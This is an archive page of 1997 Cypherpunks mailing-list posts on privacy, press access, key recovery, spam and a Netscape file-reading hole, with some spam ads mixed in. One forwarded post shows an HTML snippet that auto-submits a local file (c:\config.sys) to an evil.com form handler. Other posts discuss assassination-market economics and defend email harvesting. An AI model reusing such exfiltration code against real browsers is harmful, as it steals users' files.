Tim May wrote: > (I have no problems with private agents, e.g., Microsoft or > whatever, limiting contacts to the "main" reporters. It's their > property. If they grant interviews to Declan, Brock, John, Steve, > etc., and not to me, I cannot claim my "rights" were violated. > Government functions are another matter, and I would generally favor > letting anyone claiming to be a reporter in to government press > conferences...to do anything else is to give licensing and > credentials to speech, which the government should have no right to > do. If they need to hold press conferences in RFK Stadium, so be > it.) Are you proposing the President can't choose who he meets? Whether such a meeting is called a "press conference" is irrelevant. The legitimization of reporters through the use of "press credentials" by the government can only occur when people operating the news channels and their customers allow it to happen. Panther Modern

2 1

Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
by Secret Squirrel 17 Dec '03

17 Dec '03

Declan McCullagh wrote: >Ray Arachelian wrote: >> Yes, I do take privacy seriously, and I do protect it. But to say >> anyone has the right to snoop my machines and see what I have there >> is NOT cool. What I leave on my computer is my private business, >> and NOBODY HAS THE RIGHT TO SURF IT WITHOUT MY PERMISSION. Whether >> or not they have root. >I'm not saying that people have a "right to surf (?) it without your >permission." That's a violation of your property rights, a trespass. >But if you connect to my web site, I should be allowed to record >whatever info leaks from your computer. Don't like it? Cut the flow >or don't come. "Trespass" is a misleading term. The person "trespassing" doesn't have to leave their chair. What really happens is that somebody sets up a machine that will transmit information when it receives certain combinations of bits. Then the machine is made available to the whole world. It is most reasonable to put the burden for security on the person who wants to make their machine available to the whole world. The legal approach has several problems. 1. It is ineffective and gives a false sense of security. 2. It undermines the demand for secure machinery. (Intentional: the people in governments believe secure machinery threatens their positions.) 3. It brings up problems with borders and seignority. 4. Such laws are expensive to enforce if we are to observe legal customs like "innocent until proven guilty." 5. The legal prohibitions break down under the very circumstances when we most want our systems to remain secure: times of war and times of social unrest or revolution. Panther Modern

1 0

PLEASE DON'T PASS THIS UP
by 65188000＠22151.com 17 Dec '03

17 Dec '03

<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3> NEW ON THE NET. Wouldn't you have liked to have been part of the first group to join Amway in the 60s, or purchased stock from a small company called Wal-Mart in the 70s, or invested in a small computer chip maker called Intel in the 80s. Anybody that made the choices above are sitting pretty well at the moment Here in the 90s, a new company was launched on the Internet, Sunday June 1st This young company has positioned itself to be among the major players for years to come. This is NOT a get rich quick scheme. This is simply a new company, with fresh ideas. A a new company that people are going to hear a lot about. If you would like to become a part of all the excitement, and learn more, simply send a blank e-mail to success02(a)megd.com Please put the words "MORE INFO" in the subject field. You will be sent complete info in seconds THIS IS TRULY A COMPANY AHEAD OF IT'S TIME. Thank You For Your Time. Just send a blank e-mail to success02(a)megd.com for a fast reply </FONT><FONT COLOR="#000000" SIZE=3>

1 0

Re: IBM sues critics?
by John Smith 17 Dec '03

17 Dec '03

Can someone explain the difference between key recovery and key escrow? The IBM white paper describes it at http://www.ibm.com/security/html/pp_global5.html in terms of giving a keys or a combination to your neighbors, but the analogy was hard to follow. "John --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com ---------------------------------------------------------

2 1

Impact of Netscape kernel hole (fwd)
by Paul Bradley 17 Dec '03

17 Dec '03

>It'd be nice to have more specifics about the whole situation, but >regardless - any preliminary threat assessments? Exactly how widely >exploited do you think this has been? > >Tim's post (although refuted by Marc) raises some serious issues since I >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp > >Some coherent input on the possible impact of this would be appreciated. Basically the threat model is very simple: Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in c:\pgp on a dos/w95 box. The average user of any of the unices keeps his keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts to go through most of the common places. The very same guy probably has a password that is: A. FRED (notice how close the letters are, this is a real dumb-ass password of the century) B. His wifes name C. Her birthday D. The name of his favourite film or some character from it... Can you say "dictionary attack"???. I must admit I personally, against all the rules, keep my pgp secret key on this box. This doesn`t worry be greatly because: 1. I have a strong passphrase. 2. This box is only on dialup, so is not connected for long, and I VERY rarely use the web anyway, Its too slow, so I prefer ftpmail and ftp for getting files. This corresondingly reduces the risk of me having used a site that exploited this hole. 3. If I ever have anything to recieve that needs to be really secure I use a one time key pair, so even the RSA key is one time. Most PGP mail I send or recieve is fairly innocuous and the use of encryption is just precautionary, ie. to stop nosy sysadmins. What it basically comes down to is that Joe Sixpack, the guy most likely to have his key compromised by this attack, is: 1. Not likely to be sending valuable enough mail to expend time mounting even a simple dictionary attack on his key. 2. The least likely to know about, understand or respond to this flaw. So basically the threat is the usual one: The stupid will get caught. If you are sending highly criminal mail your key shouldn`t be on any machine not 12 feet underground in a concrete bunker with 24 hour fully trusted security guards, CCTV etc. etc. anyway. Datacomms Technologies data security Paul Bradley, Paul(a)fatmans.demon.co.uk Paul(a)crypto.uk.eu.org, Paul(a)cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey"

5 5

This is NOT trespassing.
by cypherpunks＠Algebra.COM 17 Dec '03

17 Dec '03

Did you pay for your TV? Do you buy electricity by the KWH? Pay a monthly cable bill? If so, then why isn't a television commercial considered theft of your televised resources? Doesn't it cost something to ride the bus? Then why aren't the public transport's advertisers guilty of stealing your wallspace? What about newspapers, magazines, radio stations, going to the movies, driving on any road, almost any PAID activity in life? Each has its attendent advertisments and commercials. We PAY for an enormous percentage of solicitations. Everyday. WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? Fact is, it isn't. Nor will it ever be. When you make any contact in public via any media or communication form, there will come invitations, solicitations, possibly vexations and the like. It's one of the prices we must pay in order to be able to communicate at all. P.S. sure is hard to tell what's "blue" these days.

2 1

[ANNOUNCEMENT] Forgery detection
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Timmy May studied yoga back-streching exercises for five years so he could blow himself (nobody else will). ,,, -ooO(o o)Ooo- Timmy May (_)

2 1

Re: FCPUNX:Flag Burning...
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

On 13 Jun 97 at 1:20, RS wrote: > To allow someone to publicly burn a flag is essentially displaying our > freedom being burned. Who is that most gravely desecrates the American flag? Those who burn it, spit on it, shit on it? Or those who violate the principles for which it stands? --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

Re: FCPUNX:Netscape Security Flaw is a Feature
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 09:33 PM 6/12/97 -0700, Tim May wrote: > According to Netscape spokesmen, this feature was added to the kernel of > Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery > Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy > Denning asked us to insert the "remote read" capabilities to ensure that > the legitimate needs of law enforcement are met. No person cruising the Web > has any expectation of privacy, as even Declan McCullagh has pointed out." > > Marc Rotenberg commented, "Privacy at the individual user level is > unimportant, just so long as a Privacy Ombudsman can decide on the > legitimate needs of law enforcement." Please cut the spoofing, or add visible indication of when you are spoofing for the benefit of the less well informed amongst our audience. I suggest that any spoof you write should come not from Tim May, but from Class B Citizen Unit 8387 Tim May. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

Re: FCPUNX:Untraceable Contract Killings
by jamesd＠echeque.com 17 Dec '03

17 Dec '03

At 05:39 PM 6/10/97 -0700, Wei Dai wrote: > I think the novelty of Bell's scheme is that it allows assassination > payments to be pooled from a large number of anonymous payers without > explicit coordination (i.e., the payers do not have to communicate with > each other to work out a contract, etc.). For killing a neighbor it > doesn't improve upon the simple untraceable contract, but it can make a > big difference when the target has many enemies (Bell gave politicians as > an example). > > Now in light of the fact that when the target has many enemies the > assassination becomes a non-excludable public good, it is almost certain > that the scheme cannot actually work in practice. All of the potential > payers would rather free-ride and let others pay, so the public good ends > up not being "produced". This not correct: Public goods are underproduced, but they are produced. Thus Bell's scheme would lead to less than the economically optimal number of political assassinations, but this is still a great deal more than zero, and still likely to have substantial effect on political behavior. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

1 0

IBM sues critics?
by Secret Squirrel 17 Dec '03

17 Dec '03

According to a usually reliable contact in a position to know, IBM Friday filed a liable suit against the 11 authors of the study titled "The risks of key recovery, key escrow and trusted third-party encryption" plus their employers and the Centere for Democracy and Technology, which sponsored the report. According to my contact, IBM feels that the report directly targets their own key recovery system, and falsely implies that it isn't reliable. They are asking for unspecified damages. This means IBM is suing such people as Matt Blaze, Whitfield Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT over the question of whether its key recovery system really works. Considering that truth is a defense and the details of the IBM system could be part of the defense's evidence, it should be an interesting trial to say the least. I have not seen the actual court papers and really have no idea whether my contact is totally accurate. Can anyone confirm the details? I just read the study in question, and it sounds like IBM is totally out of line and trying to intimidate its critics with threats of expensive if frivolous lawsuits. On the other hand, some of the parties named in the suit (Microsoft, AT&T) have their own armies of lawyers to defend themselves, so it's hard to be sure of what's going on here. I think the report is still at www.crypto.com or www.cdt.org.

4 3

Re: IBM sues critics?
by John Young 17 Dec '03

17 Dec '03

Secret Squirrel wrote: >According to a usually reliable contact in a position to know, IBM Friday >filed a liable suit against the 11 authors of the study >titled "The risks of key recovery, key escrow and trusted third-party >encryption" plus their employers and the Centere for Democracy and >Technology, which sponsored the report. According to my contact, IBM >feels that the report directly targets their own key recovery system, >and falsely implies that it isn't reliable. They are asking for >unspecified damages. If this report is true it's worth taking a look at IBM's policy paper "The need for a global cryptographic policy framework" to understand why the key study report is such a threat to Blue's global market strategy: http://www.ibm.com/security/html/pp_global.html IBM's economic incentive to attack the report is substantial, not least because it hopes to garner the lion's share of global GAK -- not that that's news.

1 0

Netscape Exploit
by Lucky Green 17 Dec '03

17 Dec '03

>Approved-By: aleph1(a)UNDERGROUND.ORG >Date: Sat, 14 Jun 1997 19:21:30 -0500 >Reply-To: root <root(a)BACKWATER.PBX.ORG> >Sender: Bugtraq List <BUGTRAQ(a)NETSPACE.ORG> >From: root <root(a)BACKWATER.PBX.ORG> >Subject: Netscape Exploit >To: BUGTRAQ(a)NETSPACE.ORG > >Here is a sample it isn't complete but you get the basic idea of what is >going on ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > ><BODY onLoad="daForm.submit()"> ><FORM > NAME="daForm" > ACTION="http://evil.com/cgi-bin/formmail.pl" > METHOD=POST> > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your >Harddrive"> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > >and so on and so forth... --Lucky Green <shamrock(a)netcom.com> PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm

2 1

e$: Skins vs. Shirts
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: Robert Hettinga <rah(a)shipwright.com> Mime-Version: 1.0 Precedence: Bulk Date: Sat, 14 Jun 1997 14:02:41 -0400 From: Robert Hettinga <rah(a)shipwright.com> To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: e$: Skins vs. Shirts At 10:28 am -0400 on 6/14/97, Adam Shostack wrote: > Are FAT file lists stored as files? > > On a Unix box, /. refers to the file containing directory > entries, the list of files in the directory. If there is an analogous > file on a dos box, you can explore. (Does the bug work on Unix? I've > heard it only works if java or livescript are turned on, so it hasn't > worried me enough to investigate.) All this reminds me of something Tim May, Eric Hughes, and others have said before. Once you've gotten to the point where loss of security equals, in a very literal sense, loss of money, the incentive to publicize any given security hole starts to go away. Adam, above, is speculating about the mechanics of a Netscape security hole, which, two years ago, would have gotten someone like Ian Goldberg a grand and a t-shirt, but probably only after they had published it on the net, just like Mssrs Goldberg and Wagner had to do, in order to get Netscape's attention. That included directions for how to replicate the problem. Back then, we wouldn't have been speculating about the mechanics of the hole, because people would be playing with it to see how it worked. As it is, latest hole was published in terms of its results only, and not its mechanics. Instead, those precious details were relased only to Netscape, and only for, NPR says, "an undisclosed sum". Lest we think of this as latter-day greenmail, we have to remember that greenmail actually had it's putative effect, which was to increase the returns to the shareholders by increasing the stock price. It was never fair to begrudge T. Boone Pickens the pound of flesh he extracted from companies like Phillips Petroleum, mostly because the pound he cut off was usually lard, anyway. Not to compare Netscape to a Pritikin candidate, of course. Nobody can see all the consequences of tens or hundreds of thousands of lines of code, and the very best way to solve the semantic problem that poses is the internet way, by swarming it to death. With that in mind, I expect that the next stage in this increasing security "price" escallation will be much more interesting. It won't be long before the first people who say anything about a new security hole will be people who have money stolen from them, and not much will be said by the people who discover those holes in the first place. And, of course, lots of those people probably won't be so virtuous in their use of what they figure out, either. We're about to enter a new era of parallel evolution, much like the relationship between cheeetahs and Thompson's gazelles, where a constant arms race makes predator and prey more efficient, excellerating evolution in both species. Now, I don't think this forgives people from publishing their source code, far from it. I expect that people selling financial cryptography and allied commercial products will still have to publish their source, or nobody will trust it enough buy it. I'm just saying that it will tend to be the victims, and probably not the next generation of "moneypunks", who will be announcing the failure of any given commerce application. So, instead being one of free shirts, the game will be one of payment in, um, skins. And, before long, there will be many more skins out there belonging to people who are spending money than the people who accidentally built the wallets with holes in them could ever pay in gre$enmail. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

7 10

Re: Impact of Netscape kernel hole
by geeman＠best.com 17 Dec '03

17 Dec '03

At 10:28 AM 6/14/97 -0400, Adam Shostack wrote: > > >| >Tim's post (although refuted by Marc) raises some serious issues since I >| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp > > Are FAT file lists stored as files? not exactly. you cannot just open and read. you must jump hoops; but does the nscp hole allow execution of arbitrary code? that would be much worse .... > > On a Unix box, /. refers to the file containing directory >entries, the list of files in the directory. If there is an analogous >file on a dos box, you can explore. so, no: not unless you can write your own foreign code and run it on the victim pc. (Does the bug work on Unix? I've >heard it only works if java or livescript are turned on, so it hasn't >worried me enough to investigate.) > >Adam > > > >-- >"It is seldom that liberty of any kind is lost all at once." > -Hume > > > >

1 0

We need more surveillance--a morality play about terrorism
by Tim May 17 Dec '03

17 Dec '03

[Some speculation about the current American attitudes about terrorism, about the changes in civil liberties to deal with the "terrorist threat," and even some comments about Jim Bell and his predicament.] I've been watching an HBO movie, "Path to Paradise," about the bombing of the World Trade Center in February 1993. It's quite well-done, as most HBO movies of this sort are. However, it is fairly heavy on a propaganda message which may give some insights into the likely changes in political freedoms in the United States. Some examples: * repeated examples of how the cops and FBI _could have_ arrested the Arabs if only the Constitution could be reinterpreted to allow arrests for possession of political pamphlets, guns (legally owned), etc. * "You mean Islamic radicals are free to preach their message of hate and violence? Unbelievable!" (This is a paraphrase...there were several such opinions expressed, where FBI managers express outrage that such things are permitted in the U.S.) * The niceties of getting wiretap orders were treated as ways to coddle criminals. * The ease with which citizen-units and others can order chemicals and suchlike was shown graphically, with the subtext being that this easy ordering ought to be stopped. (This was clear from the dramatic presentation.) * Unlike many such movies on criminal matters, there was very little discussion of civil rights, of the right of persons to move about freely, and so on. In short, a morality play about the hazards of letting people plot their crimes without proper surveillance. Not to sound conspiratorial, I suspect that this changed climate is consistent with the views of the FBI and White House, and that HBO is playing some role (unofficially, of course, and maybe not even consciously) in this new emphasis. (In the same way that the Rambo movies, to name just one example, resonated with American popular opinion in the Reagan era.) Speculation: This may also have something to do with the "no bail" predicament Bell now faces. The "stink bomb" he allegedly used in an IRS building could be Sarin gas, putatively, given the claims that he had Sarin precursors. Now we may mostly think he's harmless, but the combination of this new "let's get tough on terrorist plotters" mood, combined with the chemical stuff they found, his calls for killing of government agents, his apparent willingness to use chemical bombs (so the claim goes), all add up to a "get tough" outcome. Whether it stays this way past his arraignment in a few weeks is of course unknown. (Any magistrate or DA who watches this HBO movie might be wondering if releasing Bell would be turning him loose to launch a Sarin gas attack on his Fed enemies. I don't think this is a plausible threat, knowing what I know of Bell.) Something to think about. Between the World Trade Center bombing and OKC, there seem to be more people saying that certain civil liberties need to be given up to ensure security. Where have we heard this before? (Hint: back in Ben Franklin's day.) --Tim May, who's sorry he missed the display of firepower at the physical meeting today There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

1 0

THE BEST DEAL AROUND.... PERIOD!
by 52622216＠compuserve.com 17 Dec '03

17 Dec '03

{Removal instructions at bottom... } <><><> Attention Internet Marketers ... Look no further. <><><> 30 (thirty) MILLION PLUS E-MAIL ADDRESSES - ONLY US$149! (Please Note: Introductory offer - we encourage you to act soon.) WorldWide Marketing Group is pleased to finally offer to the direct marketer, the culmination of its intensive 6 month long project in compiling the single largest e-mail address list available anywhere - over 30 million e-mail addresses free of duplicates, one per line and alphabetically sorted - for only US$149! This is for real... there is NO catch! This massive list of AOL, Compuserve, Prodigy, Genie, Delphi, Microsoft Network and general Internet addresses, is split into 120 easily manageable ZIP files (unzip utilities included on CD) of 250,000 addresses each and is delivered to you on CD-ROM via regular mail. Sorry, but the sheer size of this list makes it unfeasible to deliver via diskette or allow downloading via FTP. The address files themselves consist of 1 address per line and are in standard ASCII text format - ready right away for use with any of the popular bulk e-mail packages available today. Also, this list is CLEAN! There are NO duplicates, NO embedded spaces, NO trailing or embedded white noise characters, NO garbage addresses with more than one '@' character, NO embedded parentheses '(' or ')', NO 'Postmaster' addresses, NO addresses beginning with non-valid characters (..addresses must begin with 0-9 or a-z), and all are in lower-case. The list itself is *not* categorized or targeted by any geographic region or demographic in any way. It is simply a HUGE general list sorted in alphabetical order for the best price on the internet! Indeed, this is absolutely the *best* offer around for the direct marketer, and will finally put the little guy on even ground with even the biggest bulk e-mailers! Bulk e-mail is still in its infancy and is the new wave in cost-effective global marketing. This huge list offers a whole world of vast potential sales for you and your products - get on board now before you find yourself left behind. We wish you success and we'll see you at the top! To order in a secure fashion online via credit card (VISA/MasterCard/AMEX) just go to: http://americapro.com/worldwide/ Or to order via regular mail, please send bank draft, money order (..sorry, no personal or business cheques please) or your credit card information to: Worldwide Marketing Group Box 48029 Bedford, NS Canada B4A 3Z2 (Please allow up to 1.5 to 2 weeks for delivery.) Thank you very much and sorry for the intrusion... Sincerely, Worldwide Marketing Group worldwide(a)writeme.com worldwide(a)savetrees.com (for fastest response, send message to both) P.S: If you have received this message more than once, we apologize. Our mail program accidentally deleted our remove list. For removal from any future mailings, please send an e-mail with REMOVE in the subject field to : sandk(a)answerme.com We regret that we are unable to supply a telephone contact number. Due to the harassing calls we have received from anti-bulk e-mailers, we must withhold our phone number. We apologize for the inconvenience.

1 0

Re: Responses to "Spam costs and questions" (long)
by Ross Wright 17 Dec '03

17 Dec '03

On or About 6 Jun 97 at 23:41, Dr.Dimitri Vulis KOTM wrote: > If you set up your mailbox to accept e-mail promiscuously from > anyone, then anything sent to it is "consentual". Exactly. And if you put an e-mail address on a web-site, it's fair game. You consent to have me, at least, comment. > The onus is on the recipient to filter out what they don't want (or And not the onus of the Government to save us from the nasty bad evil spammers. > to "filter in" only what they want, which is how I think we'll end > up). Such filtering takes less time+effort than "repeated > cease-and-desist notes". Like any spammer listens to those anyway. I was sent so many of those when I started, it didn't scare me at all. But now I'm a reformed, kinder, gentler spammer. Most times they don't even know they've been spammed. On or About 7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote: > talk about this (and I do hope Ross will will this of interest!), > let's You bet. I'm bummed that I missed out on this whole conversation, it's a week old now. On or About 7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote: > Also instead of just building the biggest possible list of e-mail > addresses, they build a targeted database, keeping track where a > particular e-mail address was found. That's right. I've got different lists for the different places that I harvested them from. > Suppose a person subscribes to > a "porsche owners" mailing list, and goes to an investment- related > channel on one of the IRC servers. In no time he'll be getting "junk > e-mail" related to the interests he expressed - possibly even saying > "I'm writing you because I saw you on the #invest channel on > Tuesday, and I want to tell you about this hot new penny stock" > > Left to itself, the market will stabilize and the occasional > unsolicited bulk e-mail will be even less of a nuisance than it is > now. Please. I beg all of you just to let it settle it's self. No regulation is needed, or wanted. It's not that bad. On or About 7 Jun 97 at 13:37, Declan McCullagh wrote: > Such a law would be unconstitutional, I believe, and unjust. It's > compelled speech: the government forcing you to say something. I don't want anyone telling me what I have to put into the subject field of my bulk e-mailings. > Depending on how it's worded, it could also impact core political > speech, something the courts generally don't like. > > -Declan On or About 8 Jun 97 at 5:36, Declan McCullagh wrote: > I don't think commercial speech should be treated as second-class > speech. But my position is hardly surprising. > Declan, thanks. You are right that speech is speech. On or About 9 Jun 97 at 23:45, Kent Crispin wrote: And here's where it degrades into discussions about ads and sales tactics and all that stuff that the general public is so frightened of. It's like salesmen are the reviled, untouchables in our society. Needed but hated. These topics always fall to the level of the morals of given marketing strategies. That's not what this is about. It's about freedom to tell people about a product in any way that you can. > > When a tobacco company says in an ad, "Joe Camel is cool", what > > kind of contractual obligations does it assume? > > None. I did not say that all ads were part of a contract. > > > Have you ever bought a used car, Kent? Have you seen the language > > in the contract that throws out whatever promises the saleguy made > > that are not a part of the contract? > > Yes, but never from a used-car lot, always from people I know. I > have =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: (408) 259-2795

1 0

Re: Impact of Netscape kernel hole
by Ross Wright 17 Dec '03

17 Dec '03

On or About 13 Jun 97 at 18:35, Tom Weinstein wrote: > week for 4.0. A fix for 3.x will follow once we have 4.0 fixed. Saw this post to Cypherpunks. I hate to sound less than savvy, but I use 2.02. You guys are gonna help us who refuse to upgrade, right. Ross =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: (408) 259-2795

7 7

Netscape Update
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Robert Hettinga wrote: > All this reminds me of something Tim May, Eric Hughes, and others have said > before. Once you've gotten to the point where loss of security equals, in a > very literal sense, loss of money, the incentive to publicize any given > security hole starts to go away. The Netscape PR department is no doubt preparing to spin the "bug fix" into a "major update." The fact of the matter is, the software does exactly what it was designed to do. The fact that those who are "out of the loop" found out how to use that designed feature does not make it a "bug." When the list got spammed with email from 10,000 Laker fans named "Bubba," I blasted plaidworks.com for their rudeness in trying to place all the blame on "hackers" when the fact was that they left their system wide open to abuse for the sake of convenience and profit. Similarly, the government and corporations want systems designed to allow them access to all available information passing through the internet system and then cry "abuse" or "security bug" when individuals discover how to use the design to their advantage. Calling the Netscape feature a "bug" merely serves to draw attention away from the fact that the software was intentionally designed in order to facilitate snooping (ala Clipper chip?) and that indicates that there have been people who have known how to take advantage of the feature since its implementation. Do the people who instituted the design and development of this snooping feature all have "Good Guy" stamped on their forhead? Sure they do... TruthMonger

2 1

Re: We need more surveillance--a morality play about terrorism
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Tim May wrote: > I've been watching an HBO movie, "Path to Paradise," about the bombing of > the World Trade Center in February 1993. It's quite well-done, as most HBO > movies of this sort are. > > However, it is fairly heavy on a propaganda message which may give some > insights into the likely changes in political freedoms in the United > States. > In short, a morality play about the hazards of letting people plot their > crimes without proper surveillance. > > Not to sound conspiratorial, I suspect that this changed climate is > consistent with the views of the FBI and White House, and that HBO is > playing some role (unofficially, of course, and maybe not even consciously) > in this new emphasis. The movies have long been a source of propaganda for LEA's of all types and descriptions, as well as the military. You want co-operation? You want to get bargin rates on access to city (or military) facilities, streets, vehicles, etc? If so, then you'd better be prepared to present an "acceptable" script to those who make the decisions. The military and LEA's know that they are in a position to save movie producers millions of dollars through their co-operation and producers know that an acceptable script is the ante that may well make the difference between their movie being produced or canned. Cop shows are the rage on TV at present, and if you can find a major force of real-life cops that call everyone "Sir" and treat them like humans, I'll kiss your ass, but that's what we see on the Tube, anyway. It would cost a fucking fortune to produce a similar show which reflected the reality of how LEA's treat the citizens. I have a friend who was casting director for "Miami Vice" and I recall her telling me at an early point in the series that they were being forced, for financial reasons, to "clean up" the scripts so as to make the cops more sympathetic and reputable characters. Face it, we live in TV World. We didn't get an actor as our President by "accident." We elect "sound bytes" and "charisma." We elect "plausible deniability" and "non-smoking guns." We are sold fear and violence both as news and entertainment, and we "buy" it as our reality. Then our fear is used to sell us products such as loss of privacy and freedom. This is the consumer age, and it is driven by advertising and profit. In the Media Age the marketing term "find a need and fill it" has become "_create_ a need and fill it." There's big money in fear and violence. TruthMonger

1 0

Re: Netscape Exploit
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Tom Weinstein wrote: > Lucky Green wrote: > > > > >Here is a sample it isn't complete but you get the basic idea of what > > is > > >going on > > ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> ... > Yeah, that's pretty cool. Too bad it doesn't work. If you wanted a version that works you should have checked out the RCMP site that one of the Truth Mongers (or spin-offs) pointed to on the list a while back. It had a nifty bit of code which showed you the contents of your own hard drive and grabbed a copy for their own use. There was also a site on sympatico.ca which had the same code, only the link read "Click here to read the Whitehouse hard drive." If you followed further links on the site some would take a long time to load and if you paid attention you could guess that your hard drive was being accessed. I turned a friend onto the files I saved from the sites and I assume he hacked at least one of them to get the executables that they were running since he bought me a case of Budweiser for sharing the information with him. I have noticed in surfing a variety of hacker URLs that sometimes it takes an awfully long time to load what turns out to be a fairly simple screen and there is invariably a lot of disk activity going on in these instances. I don't worry about what may be taking place since I bought a used computer specifically for internet cruising so I can enjoy myself instead of fretting about security issues. I put a lot of files and directories on my hard drive with names like "Offthepigs" and "assass.plot" and cruised around the RCMP site from an anonymous account. I used the name of a local cop as the ostensible owner of the machine and author of the files. (I _do_ hope they were paying attention!) There was an article on computer security on the RCMP site which spoke quite openly about the potential of technology in general and remailers in specific for mounting sting operations. (I will try to dig up the URL for it and pass it along. It should be in the list archives too.) ~~~~~~~~~ Not a cop ~~~~~~~~~

1 0